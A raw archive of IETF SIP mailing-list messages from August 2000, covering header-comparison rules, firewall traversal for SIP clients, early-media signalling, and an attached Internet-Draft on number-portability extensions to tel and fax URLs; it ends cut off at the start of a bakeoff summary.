Wed, 16 Aug 2000 19:48:30 +0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > -----Original Message----- > From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Sat, August 12, 2000 12:53 AM > To: Jonathan Rosenberg > Cc: Garret Wilson; SIP List > Subject: Re: [SIP] isomorphic clarification > > > Jonathan Rosenberg wrote: > > > > Garret Wilson wrote: > > > > > > The SIP specification states that, "Two requests or > responses are defined to > > > be isomorphic for the purposes > > > of this document if they have the same values for the > Call-ID, To, From and > > > CSeq header fields." > > > > The -01 draft also mentions that the Request URIs must be > identical, to > > support spirals. > > > > As an additional thing, the *top* Vias must be the same, in order to > > detect merged requests. We should add this here and elsewhere in the > > document as needed. > > Might be good to have an example for this. > > > > > You later write: > > > I just realized that the latest spec explains how to > compare URIs. The > > > question remains that, if two URI's are equal yet not > identical in string > > > format, are two From headers (for example) which contain > these two URIs > > > considered to have the "same value" as per the definition > of isomorphic? > > > > Yes. Two FRoms are equal if (1) their URIs match under URI > comparison, > > (2) their From parameters match, based on standard matching > rules for > > header parameters (case sensitive equality of both name and value). > > Presumably parameters missing in one of the From/To are ignored in the > comparison. Not necessarily. I think 'tag' is a special case. In a UAC when checking if a 200 response matches an existing call leg you need to be able to compare its To: header which has a tag to the To: header of the original INVITE, which usually doesn't have a tag, and get the result that the two are the same. I think that this is the reason for the To/From comparison rules that disregard a missing tag. With other (generic-param) parameters this may not be the case. For example: From: sip:itamarg@tlv.radvision.com;extparam=1 and From: sip:itamarg@tlv.radvision.com may not necessarily be the same. Itamar > This seems to work for 'tag'. > Note that according to RFC 2616 and the BNF definition, > > "literal" > Quotation marks surround literal text. Unless stated otherwise, > the text is case-*in*sensitive. > > Added to URI section (not sure what you mean by "this section"). > > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 13:11:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA00393 for ; Wed, 16 Aug 2000 13:11:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 92C5B44389; Wed, 16 Aug 2000 13:10:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail1.qualcomm.com (mail1.qualcomm.com [129.46.2.6]) by lists.bell-labs.com (Postfix) with ESMTP id 0C0D344338 for ; Wed, 16 Aug 2000 13:10:11 -0400 (EDT) Received: from harleeng.qualcomm.com (harleeng.qualcomm.com [129.46.172.108]) by mail1.qualcomm.com (8.9.3/8.9.3/1.0) with ESMTP id KAA12761 for ; Wed, 16 Aug 2000 10:10:08 -0700 (PDT) Message-Id: <4.3.1.0.20000816100315.00ba17c0@jittlov.qualcomm.com> X-Sender: harleeng@jittlov.qualcomm.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Wed, 16 Aug 2000 10:10:06 -0700 To: sip@lists.bell-labs.com From: Harleen Gill Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [SIP] Operating a SIP Client behind a Firewall Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Is there any recommendation on how to keep a timed connection "alive" between a SIP client that is behind a firewall and a SIP server that is outside the firewall? _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 13:34:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA00738 for ; Wed, 16 Aug 2000 13:34:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 85E9B44350; Wed, 16 Aug 2000 13:33:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.mediatrix.com (mail.mediatrix.com [205.237.248.11]) by lists.bell-labs.com (Postfix) with ESMTP id 3678C44338 for ; Wed, 16 Aug 2000 13:33:49 -0400 (EDT) Received: by mail.mediatrix.com with Internet Mail Service (5.5.2650.21) id ; Wed, 16 Aug 2000 13:28:02 -0400 Message-ID: From: =?iso-8859-1?Q?Pascal_Dor=E9?= To: "'Harleen Gill'" , sip@lists.bell-labs.com Subject: RE: [SIP] Operating a SIP Client behind a Firewall Date: Wed, 16 Aug 2000 13:27:54 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA00738 See http://www.cs.columbia.edu/~hgs/sip/drafts/draft-ietf-sip-session-timer-02.t xt ______________________ Pascal Doré Software Designer Mediatrix Telecom http://www.mediatrix.com mailto:pdore@mediatrix.com -----Original Message----- From: Harleen Gill [mailto:harleeng@qualcomm.com] Sent: Wednesday, August 16, 2000 1:10 PM To: sip@lists.bell-labs.com Subject: [SIP] Operating a SIP Client behind a Firewall Is there any recommendation on how to keep a timed connection "alive" between a SIP client that is behind a firewall and a SIP server that is outside the firewall? _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 13:36:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA00779 for ; Wed, 16 Aug 2000 13:36:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 500CE4438B; Wed, 16 Aug 2000 13:35:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by lists.bell-labs.com (Postfix) with ESMTP id 5D53544338 for ; Wed, 16 Aug 2000 13:35:34 -0400 (EDT) Received: from fokus.gmd.de (dhcp007 [195.37.78.135]) by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id TAA16348; Wed, 16 Aug 2000 19:35:30 +0200 (MET DST) Message-ID: <399AD0C8.77FA6366@fokus.gmd.de> Date: Wed, 16 Aug 2000 19:35:04 +0200 From: Jiri Kuthan X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Harleen Gill Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Operating a SIP Client behind a Firewall References: <4.3.1.0.20000816100315.00ba17c0@jittlov.qualcomm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Harleen Gill wrote: > > Is there any recommendation on how to keep a timed connection "alive" > between a SIP client that is behind a firewall and a SIP server that is > outside the firewall? What do you mean by a timed connection between SIP clients and servers? I see two separate packet flow classes: a) Signaling Typically, there is a static permission in firewall that allows UDP traffic from/to a SIP proxy at port 5060 to pass through. Keeping a session alive is a SIP issue, which works the same way regardless if firewalls are deployed or not. b) Media Either the firewall implements an embedded SIP ALG and opens media pinholes dynamically or a SIP proxy instructs the firewall to do so. There is a document on firewall traversal: draft-rosenberg-sip-firewalls-00.txt Jiri _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 14:19:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01469 for ; Wed, 16 Aug 2000 14:19:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 16D8B44351; Wed, 16 Aug 2000 14:18:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.Sophia.8x8.COM (unknown [195.154.106.54]) by lists.bell-labs.com (Postfix) with ESMTP id E7CE444338 for ; Wed, 16 Aug 2000 13:56:51 -0400 (EDT) Received: from toshjhr.sophia.8x8.com (dhcp_48_197.sophia.8x8.com [192.168.48.197]) by mail.Sophia.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id TAA08478 for ; Wed, 16 Aug 2000 19:56:50 +0200 (MET DST) Message-Id: <4.3.0.20000816121838.02785e50@mail.sophia.8x8.com> X-Sender: jhr@mail.sophia.8x8.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Wed, 16 Aug 2000 12:18:49 +0200 To: sip@lists.bell-labs.com From: Jean-Hugues ROBERT Subject: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, Short form: In the presence of Early Media, prior to receiving 200 OK, how can a Caller tell a Callee to send media according to a *new* SDP ? Or "How can I put a call on hold when I hear a remotely generated ringback tone ?" Much longer form: It is generaly agreed that making Media and Signaling distinct is a good thing. Amoung other benefit it enables decomposed architectures and more generaly support the locality of concern principle. A prime example of this distinction is SDP usage in SIP. SIP is basically concerned by Signaling whereas SDP is about Media. Signaling is mainly about setting up and tearing down communications. Media is mainly about payload formats and destinations. It is my understanding that, prior to 183 Session Progress, Media data started to flow only after INVITE's 200 OK final response was received or acknowledged (depending on side). Afterward, changes impacting Media (changes in SDPs) occured at any time using re-INVITE. Callee could ask Caller "Please now handle Media according to this new SDP". Caller could do the same. This was fine. However, since 183 Provisionnal response was introduced, as well as other new occasions to change SDPs during call setup, Media can start to flow well before 200 OK, or even in the total absence of 200 OK. This may introduce an issue regarding control of Media, during the setup phase: Callee can still ask Caller "Please now handle Media according to this *new* SDP", simply sending a new 183. However I fear that Caller *cannot* ask Callee to change Media any more. To be fully accurate, it seems that Caller could still ask Callee to change Media, if SDP is allowed in PRACK, but only in response to Callee doing it first. Is SDP legal in PRACK's ack message ? So my question is: "In the presence of Early Media, how can a Caller ask a Callee to handle Media according to a new SDP when Caller's INVITE transaction is still not completed ?". One potential solution could be to allow re-INVITE while the "main" INVITE is still not completed. It is illegal today. This would introduce "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form of nested transaction, isn't it ? Another solution, probably simplier, would be to enable 183 "both ways": The Caller would have the rigth to send it to the Callee, potentially only in the presence of Early Media. But that seems weird, because it is a reponse without a question. If you are guessing "why the hell does this matter ?", please think of potential restrictions if Media cannot change while call is beeing setted up. One example related to mobility (probably not 100% relevant, not a thread to SIP for Mobility): Lets say I have a decomposed cheap wireless IP phone: - The expensive UA has a fixed IP address and a full featured SIP stack with a fancy Java user application, it handles multiple phones. - The cheap phones have no fixed IP addresses, a very ligth Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with the UA. Whenever the phone's IP address changes, the UA will change the Media of the involved SIP calls, if any. Now the issue: What if the phone moves while receiving Early Media (say remote ringback tone) ? UA need to tell the Callee about the Calling phone's new IP address. How ? Other, simplier, issues: How do I put a call on hold when I am listening to some network generated annoucement ? How can an assistant, dialing on behalf of the boss, transfer the ringing call to the boss when ringback tone is generated remotely ? Any previous art in solving this issue (if it is actually an issue) ? Is there a similar issue in H.323 (Early H.245 related I guess) or was it solved ? BTW: A *radical* solution would be to avoid 1xx responses that initiate Early Media and have a 200 OK as soon as media is there (with probably some hints that the call/session is not "fully" established). Some yet to define "INFO Session Progress" could later on indicate how the call is progressing. This has the merit of beeing compatible with existing implementations. Jean-Hugues Robert --------------------------------------------------------------------------- "Fix Bugs First" Sophia General Manager. mailto:jhr@netergynet.com - We serve providers - "Think globally. http://www.netergynet.com - Hosted PBX solutions - Act locally." _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 17:20:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04142 for ; Wed, 16 Aug 2000 17:20:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5093144367; Wed, 16 Aug 2000 17:19:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dnspri.npac.com (dnspri.npac.com [208.143.33.66]) by lists.bell-labs.com (Postfix) with ESMTP id 698284435B; Wed, 16 Aug 2000 17:19:42 -0400 (EDT) Received: by dnspri.npac.com; id QAA15479; Wed, 16 Aug 2000 16:19:35 -0500 (CDT) Received: from unknown(208.143.39.132) by dnspri.npac.com via smap (V5.0) id xma015268; Wed, 16 Aug 00 16:19:09 -0500 Received: by chi02.npac.com with Internet Mail Service (5.5.2448.0) id ; Wed, 16 Aug 2000 16:18:09 -0500 Message-ID: From: James Yu To: IPTEL WG , "'sip@lists.bell-labs.com'" Cc: h323implementors@imtc.org, ITU-SG16@mailbag.cps.intel.com, SIP reflector , "'Orit Levin'" , sip-h323@egroups.com Date: Wed, 16 Aug 2000 16:16:32 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C007C7.7978C77E" Subject: [SIP] RE: [IPTEL] URL to support Number Portability [was: draft-yu-tel- url-00.txt] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C007C7.7978C77E Content-Type: text/plain; charset="iso-8859-1" Would appreciate if people on the iptel and SIP discussion lists can voice their opinions (agree or disagree) on draft-yu-tel-url-00.txt (see attachment). This enhancement to the tel URL is intended to allow SIP to carry number portability related information in the Request-URI field. The information (e.g., routing number and POTS number) in the tel URL may be used by the LSs for call routing. Thanks. James > -----Original Message----- > From: Orit Levin [mailto:orit@radvision.com] > Sent: Tuesday, August 15, 2000 1:06 PM > To: James Yu; IPTEL WG; sip-h323@egroups.com > Cc: h323implementors@imtc.org; ITU-SG16@MAILBAG.INTEL.COM; > SIP reflector > Subject: [IPTEL] URL to support Number Portability [was: > draft-yu-tel-url-00.txt] > > > James! > After reviewing your draft, below are my comments. > As in regards to H.323, H.323 doesn't currently have an > explicit notion of > two different fields carrying the exact meaning of "current > destination" and > "the final recipient", using SIP language. > On the other hand, the definition of H.323 URL potentially allows for > cascading of URLs > of different kinds. This concept appear in the last draft of > "Annex O" to be > discussed next week. Therefore, tel url can be placed in the > "user" part of > H.323 URL. > Since, in your proposal, the original "final recipient" > information (i.e. > the phone number itself) is preserved in the tel url after > the NPDB deep is > performed, I don't see a technical problem for using the > proposed algorithm > within H.323. > > I will bring your work to the attention of H.323 community next week, > including the H.323 mobility WG. My question (and that of the H.323 > community) would be: what level of consensus does the > approach, presented in > your draft, currently have within SIP and IPTEL working groups? > > > Orit Levin > RADVision Inc. > 575 Corporate Drive Suite 420 > Mahwah, NJ 07430 > Tel: 1 201 529 4300 (230) > Fax: 1 201 529 3516 > www.radvision.com > orit@radvision.com > -----Original Message----- > From: James Yu > To: 'Orit Levin' ; IPTEL WG > > Date: Monday, August 14, 2000 1:24 PM > Subject: RE: [IPTEL] A draft of H323-URL to be presented > during the IPTEL > session > > > >Orit, > > > >Please review the attached draft-yu-tel-url-00.txt, titled > "Extensions to > >the tel and fax URL to support Number Portability." It is > intended for the > >SIP to carry number portability (NP) information in the > Request URI field. > >It may be carried by H.225.0 directly or may be mapped to > the proposed > H.323 > >URL to support NP in H.323. > > > >There has not been lots of discussion on this I-D. Comments > from you and > >others are welcome. > > > >James > > > > > > > >-----Original Message----- > >From: Orit Levin [mailto:orit@radvision.com] > >Sent: Monday, July 31, 2000 9:05 PM > >To: IPTEL WG > >Subject: [IPTEL] A draft of H323-URL to be presented during the IPTEL > >session > > > > > >Hello! > >I have submitted the attached draft 3 weeks ago. > >Unfortunately, the document doesn't appear on the IETF Drafts site. > >Since this topic is going to be presented during the IPTEL session on > >Thursday morning, I am attaching the draft for you review. > >Best Regards, > >Orit Levin > >RADVision Inc. > >575 Corporate Drive Suite 420 > >Mahwah, NJ 07430 > >Tel: 1 201 529 4300 (230) > >Fax: 1 201 529 3516 > >www.radvision.com > >orit@radvision.com > >-----Original Message----- > >From: Orit Levin < orit@radvision.com > > >To: internet-drafts@ietf.org < > >internet-drafts@ietf.org > > >Date: Tuesday, July 11, 2000 1:59 AM > >Subject: Request for Draft Submission > > > > > >Hello! > >I would like to submit the attached paper as the first > drafts to become an > >Informational RFC. > >Thank you, > >Orit Levin > >RADVision Inc. > >575 Corporate Drive Suite 420 > >Mahwah, NJ 07430 > >Tel: 1 201 529 4300 (230) > >Fax: 1 201 529 3516 > >www.radvision.com > >orit@radvision.com > > > > > > > > _______________________________________________ > IPTEL mailing list > IPTEL@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/iptel > ------_=_NextPart_000_01C007C7.7978C77E Content-Type: text/plain; name="draft-yu-tel-url-np-00.txt" Content-Disposition: attachment; filename="draft-yu-tel-url-np-00.txt" Content-Transfer-Encoding: quoted-printable Internet Draft James Yu Document: NeuStar, Inc. Category: Informational July 2000 Extensions to the "tel" and "fax" URLs to Support Number Portability Status of this Memo This document is an Internet-Draft and is in full conformance with all provisions of Section 10 of RFC2026 [RFC]. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF), its areas, and its working groups. Note that other groups may also distribute working documents as Internet- Drafts. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet- Drafts as reference material or to cite them other than as "work in progress." The list of current Internet-Drafts can be accessed at http://www.ietf.org/ietf/1id-abstracts.txt. The list of Internet-Draft Shadow Directories can be accessed at http://www.ietf.org/shadow.html. To learn the current status of any Internet-Draft, please check the "1id-abstracts.txt" listing contained in the Internet-Drafts Shadow Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe), munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or ftp.isi.edu (US West Coast). Informational-Expiration on January 2001 1 =0C Extension to the "tel" and "fax" URLs to Support NP July 2000 1. Abstract Number portability (NP) allows the telephone subscribers to keep their telephone numbers when they change service provider, move to a new location, or change the subscribed services. The NP implementations in many countries presently support service provider portability for geographic numbers and non-geographical numbers. It has been identified that NP has impacts on several works-in-progress at the IETF. One of the impacts is to carry the NP related information in the SIP INVITE message. This document proposed the extensions to the "tel" and "fax" Uniform Resource Locators (URLs) to support NP so that they can be used to carry the NP related information in the Session Initiation Protocol (SIP) Request-URI. 2. Introduction This document proposes the extensions to the "tel" and "fax" Uniform Resource Locators (URLs) for supporting number portability (NP). [NP] provides an overview of the NP in the GSTN and points out the impacts of NP in several works-in-progress at the IETF Working Groups. One of the impacts is to be able to carry the NP related information in the Session Initiation Protocol (SIP) INVITE message. The NP related information includes the dialed directory number, a routing number and an indicator that indicates whether a query to the Number Portability Database (NPDB) has been performed. The routing number allows the network, either the Global Switched Telephone Network (GSTN) or the IP-based network, to route the call to the network or switch that currently serves the dialed called party number that has ported out of the donor network. The NPDB dip indicator informs the network entities downstream towards the terminating network (e.g., the network that currently serves the called party number) that NPDB dip has been performed; therefore, there is no need to dip the NPDB again. The dialed called party number is needed at the terminating switch so that the call can be terminated to a correct line card. If the routing number only points to the terminating network, the called party number would be used for another NPDB query to retrieve another routing number that is typically a network-specific routing number for routing the call to the terminating switch. 3. SIP Request-URI The SIP INVITE message contains a "Request-URI" element that is used by the SIP servers for making routing decisions. As indicated in [SIP], SIP servers may support Request-URIs with schemes other than "SIP," for example, the "tel" URI scheme. [TEL] specifies the URL schemes "tel," "fax" and "modem" for specifying the location of a terminal in the phone network and the connection types (modes of operation) that can be used to connect to that entity. By examining the SIP URL and "tel" URL, it seems that the "tel" URL is a better Informational - Expiration in January 2001 2 =0C Extension to the "tel" and "fax" URLs to Support NP July 2000 place to carry the NP related information. Since the "fax" URL may be used for fax calls, both the "tel" and "fax" URLs need to be enhanced to support NP. 4. Proposed extensions to the "tel" RUL Scheme The following shows the extensions to the "tel" URL. Only the impacted items/lines are shown below. global-phone-number =3D (no change) (no change) (no change) *1(number-portability) local-phone-number =3D (no change) (no change) (no change) (no change) future-extension) *1(number-portability) number-portability =3D ";" routing-number *1(";" = npdb-dip-indicator) routing-number =3D rn-tag "=3D" *1("+") rn-ident rn-tag =3D "rn" rn-ident =3D *15(hex excluding "F") npdi-dip-indicator =3D npdi-tag "=3D" npdi-ident npdi-tag =3D "npdi" npdi-ident =3D "yes" / "no" It is assumed that national routing number may appear with other global-phone-number information and international routing number may appear with other local-phone-number information. The routing number digit can be any hexadecimal digit except the digit "F." The routing number and the NPDB dip indicator can appear at most once if present. The routing number can contain hexadecimal digits from 0 to E. When the routing number is present, the NPDB dip indicator may or may not be present. This is because that the routing number may be present independent of NP. When the "npdi" parameter is not present, it indicates that either NPDB dip has not been performed (equivalent to npdi=3Dno) or NP is not relevant. If = a SIP server is set to perform the NPDB queries and if a received INVITE message does not contain "yes" in the "npdi" parameter, it will perform the NPDB query. The NPDB query is outside the scope of this document. The routing number received in the response (plus the "+" and the country code when necessary) will replace the routing number in the "rn" parameter if present or will be used by the new "rn" parameter if "rn" parameter is not present. The "npdi" parameter will be set to "yes" in this case. The routing number can be a global routing number (e.g., with "+" and the country code) or a local (e.g., network-specific) routing number. When the "rn" parameter is present, it must be used for making routing decisions (e.g., against the TRIP routing tables)[TRIP]. If the "rn" parameter is not present, the telephone number right after "tel:" is used as the routing number. Informational - Expiration in January 2001 3 =0C Extension to the "tel" and "fax" URLs to Support NP July 2000 It is possible that interworking between SIP and Signaling System No. 7 (SS7) Integrated Services Digital Network User Part (ISUP) is required at the border between the Global Switched Telephone Network (GSTN) and the IP-based network. For SIP to GSTN interworking and depending on the ISUP support of NP, the information in the "tel" URL will be mapped/carried in the proper ISUP parameters. For example, for the GSTN in the U.S., the routing number in the "rn" parameter is carried in the ISUP Called Party Number Parameter. The phone number after "tel:" is carried in the ISUP Generic Address Parameter. Only national numbers are carried (e.g., without the "+" and the country code) in the ISUP parameter. The "npdi" parameter that contains "yes" cause the Forward Call Indicator parameter to be properly set to indicate that NPDB has been dipped. If the terminating GSTN supports concatenated routing number and directory number (e.g., in Europe), then the routing number and the phone number are concatenated and put in the ISUP Called Party Number parameter. The NOA value will be set according the terminating GSTN's NP standards. For GSTN to IP interworking, when the ISUP signaling contains the NP related information, the NP related information is mapped to the "tel" URL. This happens for domestic calls where the originating GSTN has performed the NPDB query, or for international calls that have arrived at the terminating country's GSTN where that GSTN has performed the NPDB query. It is assumed that the GSTN routes the call via the IP-based network to the terminating switch or network in the same country, and SIP and ISUP interworking is involved. For the GSTN in the U.S., the interworking is straightforward. The indication in the ISUP Forward Call Indicator parameter that NPDB dip has been performed will set "npdi" to "yes," the number in the Called Party Number parameter plus the "+" and the country code, if a global routing number, is carried in the "rn" parameter, and called party number in the Generic Address Parameter plus the "+" and the country code, if a global phone number, appears after "tel:". For GSTN that supports concatenated routing number and directory number (e.g., in Europe), the IP entity that performs the interworking needs to know the routing number used by the GSTN so that the routing number and the directory number in the concatenated format in the ISUP Called Party Number parameter can be separate out and transported in the "rn" parameter and after "tel:" by adding the "+" and the country code to them if they are global routing number and phone numbers. 5. Proposed extension to the "fax" URL Scheme The following shows the extensions to the "fax" URL. Only the impacted items/lines are shown below. fax-global-phone =3D (no change) (no change) (no change) Informational - Expiration in January 2001 4 =0C Extension to the "tel" and "fax" URLs to Support NP July 2000 future extension) *1(number-portability) fax-local-phone =3D (no change) (no change) (no change) (no change) future-extension) *1(number-portability) number-portability =3D ";" routing-number *1(";" = npdb-dip-indicator) routing-number =3D rn-tag "=3D" *1("+") rn-ident rn-tag =3D "rn" rn-ident =3D *15(hex excluding "F") npdi-dip-indicator =3D npdi-tag "=3D" npdi-ident npdi-tag =3D "npdi" npdi-ident =3D "yes" / "no" The same discussions in Section 5 also apply to this section. 6. Examples To simply the example and to focus on the "tel" URL in the Request- URI, only the Request-Line of a complete SIP INVITE message is shown. A SIP server receives an INVITE message as shown below where +1-202-533-1234 is the dialed called party number and has been ported out of the donor network. INVITE tel:+1-202-533-1234 SIP/2.0 Assume that this SIP server is set to perform the NPDB query. Since this INVITE message does not contain the "npdi" parameter, this SIP server will perform a NPDB query. After receiving a response back from a NPDB, it formulates the following SIP INVITE message: INVITE tel:+1-202-533-1234;rn=3D+1-202-544-0000;npdi=3Dyes SIP/2.0 This SIP server then uses the "rn" parameter to make the routing decisions (e.g., using the routing number in the "rn" parameter to check against the TRIP tables to determine the terminating GSTN gateway). If the dialed called party number +1-202-533-1234 is not ported and the dialed called party number can be used as the routing number, the outbound SIP INVITE message may look like INVITE tel:+1-202-533-1234;rn=3D+1-202-533-1234;npdi=3Dyes SIP/2.0 or INVITE tel:+1-202-533-1234;npdi=3Dyes SIP/2.0 The concept is that "rn," if present, is used for making routing decisions, and the phone number after "tel:" is used if "rn" is not present. Informational - Expiration in January 2001 5 =0C Extension to the "tel" and "fax" URLs to Support NP July 2000 7. Conclusion This Internet Draft proposes extensions to the "tel" and "fax" URLs described in [TEL] to allow the SIP to carry the NP related information in the "tel" and "fax" URLs. If agreed, it is proposed to incorporate the proposed extensions in the next revision of RFC2806. REFERENCES [NP] M. Foster, T. McGarry and J. Yu, "Number Portability in the GSTN: An Overview," draft-foster-e164-gstn-np-01.txt, July 2000. [TEL] A. Vaha-Sipila, "URLs for Telephone Calls," RFC 2806, April 2000. [SIP] M. Handley, H. Schulzrinne, E. Schooler and J. Rosenberg, "SIP: Session Initiation Protocol," draft--ietf-sip- rfc2543bis-00.ps, May 2000. [TRIP] J. Rosenberg, H. Salama and M. Squire, draft-ietf-iptel-trip- 02.txt, "Telephony Routing Information Protocol (TRIP)," May 2000. Acknowledgement The author would like to thank Jonathan Rosenberg and Henning Schulzrinne for the discussion of SIP support of NP. Full Copyright Statement "Copyright (C) The Internet Society (date). All Rights Reserved. This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. However, this document itself may not be modified in any way, such as by removing the copyright notice or references to the Internet Society or other Internet organizations, except as needed for the purpose of developing Internet standards in which case the procedures for copyrights defined in the Internet Standards process must be followed, or as required to translate it into. Informational - Expiration in January 2001 6 =0C ------_=_NextPart_000_01C007C7.7978C77E-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 21:14:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA05826 for ; Wed, 16 Aug 2000 21:14:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0A4994433B; Wed, 16 Aug 2000 21:14:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id 2838B44338 for ; Wed, 16 Aug 2000 21:13:58 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id VAA52155; Wed, 16 Aug 2000 21:13:57 -0400 (EDT) Message-ID: <0bcc01c007e9$01399820$3202a8c0@broadsoft.com> From: "Brett Tate" To: "SIPbell-labs" Date: Wed, 16 Aug 2000 21:18:09 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0BC9_01C007C7.7A04DFC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [SIP] Bakeoff #5 Advanced Scenarios: Media Changes summary for one group Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0BC9_01C007C7.7A04DFC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Here is my attempt at summarizing the results of=20 SIP 